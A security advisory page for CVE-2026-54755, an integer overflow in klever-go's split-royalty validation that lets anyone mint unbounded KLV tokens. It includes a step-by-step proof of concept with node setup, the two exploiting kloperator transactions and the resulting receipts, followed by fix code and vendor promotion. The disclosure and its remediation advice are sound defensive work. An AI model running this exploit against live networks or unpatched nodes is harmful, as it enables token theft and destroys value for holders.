Summary
Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
The per-entry percentages of a KDA asset's split royalties are validated by summing
them into a uint32 accumulator and checking the sum against HundredPercent (10000),
with no upper bound on each individual entry. Two split entries whose percentages sum to
just over 2^32 wrap around below 10000 and pass validation, while each stored value
remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).
At royalty payout, each split recipient is credited pool × hugePct / 10000, far more than
the royalty pool, and the resulting negative remainder is silently discarded
(if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO
royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin
air, on demand, by transferring or selling their own throwaway asset.
This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.
Affected component
- Repository:
klever-io/klever-go(node). - Validation:
core/process/kda/assetHelper.go,core/kapp/kda/create.go,core/kapp/kda/trigger.go,core/kapp/builtInFunctions/utils.go. - Payout (mint sites):
core/kapp/accounts/accounts.go(transfer),core/kapp/market/market.go
(marketplace buy),core/kapp/ito/ito.go(ITO buy). - Not gated by any fork flag, exploitable on current mainnet.
Root cause
1. Per-entry split percentages are decoded as raw uint32 with no bound
core/kapp/builtInFunctions/utils.go, decodeSplitInfo (≈L292):
func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
fields := []*uint32{
&splitInfo.PercentTransferPercentage,
&splitInfo.PercentTransferFixed,
&splitInfo.PercentMarketPercentage,
&splitInfo.PercentMarketFixed,
&splitInfo.PercentITOPercentage,
&splitInfo.PercentITOFixed,
}
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
return err
}
}
return nil
}
2. Validation sums into a uint32 and only checks the sum
core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):
sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator
sumSplitTransferFixed := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
// ... no per-entry bound ...
sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
sumSplitTransferFixed += value.GetPercentTransferFixed()
// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}
core/process/kda/assetHelper.go (L101):
func CheckValid100Params(values ...uint32) bool {
for _, value := range values {
if value > core.HundredPercent { // HundredPercent = 10000
return false
}
}
return true
}
The per-entry > HundredPercent check that exists for TransferPercentage tiers
(create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.
0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.
3. Payout over-pays and silently drops the negative remainder (mint), in KLV
core/kapp/accounts/accounts.go, processFixedRoyaltiesTransfer (L316-382):
err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
// L343: split paid in KLV using the overflowed PercentTransferFixed
status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
// ...
}
if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error)
return transaction.Transaction_Ok, nil
}
computeSplitRoyalties (L276-314):
splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit
tools/converters.go, ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000
fits in int64, so no overflow error fires, it simply returns the inflated amount.
Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient creditedTransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.
The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the
sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV, silent skips at L456/L503) andcore/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the
top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.
Proof of Concept (reproduce from scratch)
A single-node local network is sufficient. Full environment setup is in the companion runbookREPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.
Prereqs (build + run a single node)
export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
--rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
> /tmp/klnode.log 2>&1 < /dev/null & disown
Step 1, create a malicious asset (your own throwaway token)
The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000.
Two entries make the uint32 sum wrap to 0.
R1=<any valid klv1 address> # clean recipient, will receive minted KLV
R2=<any valid klv1 address> # second recipient
/tmp/kloperator kda create 0 \
--name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
--royaltiesAddress=<owner> \
--royaltiesTransferFixed=1 \
--splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
--splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
-s --await
Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both
recipients (a correct chain would reject this).
Step 2, mint KLV with one ordinary transfer
/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await
Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800
(= 214,748.36 KLV) to R1 and R2, for a TransferFixed royalty of 1000000 (1 KLV).
Verify the mint
# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"
Evidence (live single-node run, chainID 420420)
Asset creation, overflowed split royalties accepted (resultCode: Ok)
tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract
(operator output, abridged):
{
"type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
"ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"initialSupply": 1000000000000,
"royalties": {
"address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"transferFixed": 1000000,
"splitRoyalties": {
"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
}
}
}
Result: hash: 1e288135…, status: success, resultCode: Ok.
(2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)
Transfer, mints KLV (resultCode: Ok)
tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375,status: success, resultCode: Ok. Receipts (operator output):
{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"}
Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were
each credited 214748364800 (214,748.36 KLV), 429,496.73 KLV minted from a 1 KLV royalty,
in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never
being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per
recipient.
A prior run reproduced the same on the transfer-percentage path, minting the asset itself
(42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply /MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so
the inflation is invisible to supply dashboards and only detectable by summing balances.
Who can exploit it / prerequisites
- Any account that can pay the one-time asset-creation fee + tx fees. No roles, admin, or
allowlist. - Any client. The
operatorCLI used above is unprivileged: it signs a standard transaction
and POSTs to the public, unauthenticated/transaction/sendendpoint
(network/api/transaction/routes.go,SendTX/BroadcastTX, no auth). The official SDKs or a
hand-signedcurlproduce identical results; nothing in the operator is required. - Deterministic, single-transaction trigger after a one-time asset setup.
A. Reject over-100% split percentages at validation (root cause)
- Bound each individual split field, e.g. in
decodeSplitInfo
(core/kapp/builtInFunctions/utils.go):for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err } if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW } - Accumulate sums in
uint64(overflow-proof) incore/kapp/kda/create.goandcore/kapp/kda/trigger.go, and reject if any per-category sum> core.HundredPercent.
(With each entry ≤ 10000 and the existingMaxTransferRoyalties = 20cap, the max sum is
200000, but useuint64regardless for defense in depth.)
B. Treat a negative royalty remainder as a hard error (defense in depth)
In every split-distribution site, replace the silent skip with a rejection:
// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }
Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage),core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).
C. (Optional) Assert conservation
After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact
remainder), so any future regression aborts the tx instead of minting.
A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is
rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)
cannot pay out more than the royalty pool.
Variants / notes
- Transfer (percentage) → mints the transferred asset. Transfer (fixed), Market
(fixed + percentage), ITO (fixed + percentage) → mint KLV / the sale currency. - Smart-contract senders skip royalties, but a contract can plant the malicious royalties via
AssetTrigger/UpdateRoyaltiesand let a normal account trigger the mint, atomically within one tx. - The legacy
ComputePercentageI64float path (checkOverflow=false) makes the over-pay even
easier (noint64overflow guard at all), but thebig.Intpath mints too for small pools.
References
- Vulnerable code:
core/process/kda/assetHelper.go:101,core/kapp/builtInFunctions/utils.go:292,core/kapp/kda/create.go:228-264,351-382,core/kapp/kda/trigger.go,core/kapp/accounts/accounts.go:276-382,core/kapp/market/market.go:443-538,core/kapp/ito/ito.go:415-556,tools/converters.go:102.
Impact
- Unbounded inflation of KLV (the native token), repeatable per transaction for only tx fees.
- Same root cause also mints KLV via marketplace buy (sale currency + KLV
MarketFixed
deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path. - The mint is off the books (booked supply unchanged), making detection hard.
- Total loss of economic integrity for all token/KLV holders.
An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value. Typical impact: incorrect size calculations leading to heap overflows or logic errors.
CVE-2026-54755 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.19); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate
them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow),
so historical blocks reprocess identically.
Frequently Asked Questions
- What is CVE-2026-54755? CVE-2026-54755 is a critical-severity integer overflow or wraparound vulnerability in github.com/klever-io/klever-go (go), affecting versions < 1.7.19. It is fixed in 1.7.19. An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value.
- How severe is CVE-2026-54755? CVE-2026-54755 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/klever-io/klever-go are affected by CVE-2026-54755? github.com/klever-io/klever-go (go) versions < 1.7.19 is affected.
- Is there a fix for CVE-2026-54755? Yes. CVE-2026-54755 is fixed in 1.7.19. Upgrade to this version or later.
- Is CVE-2026-54755 exploitable, and should I be worried? Whether CVE-2026-54755 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54755 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54755? Upgrade
github.com/klever-io/klever-goto 1.7.19 or later.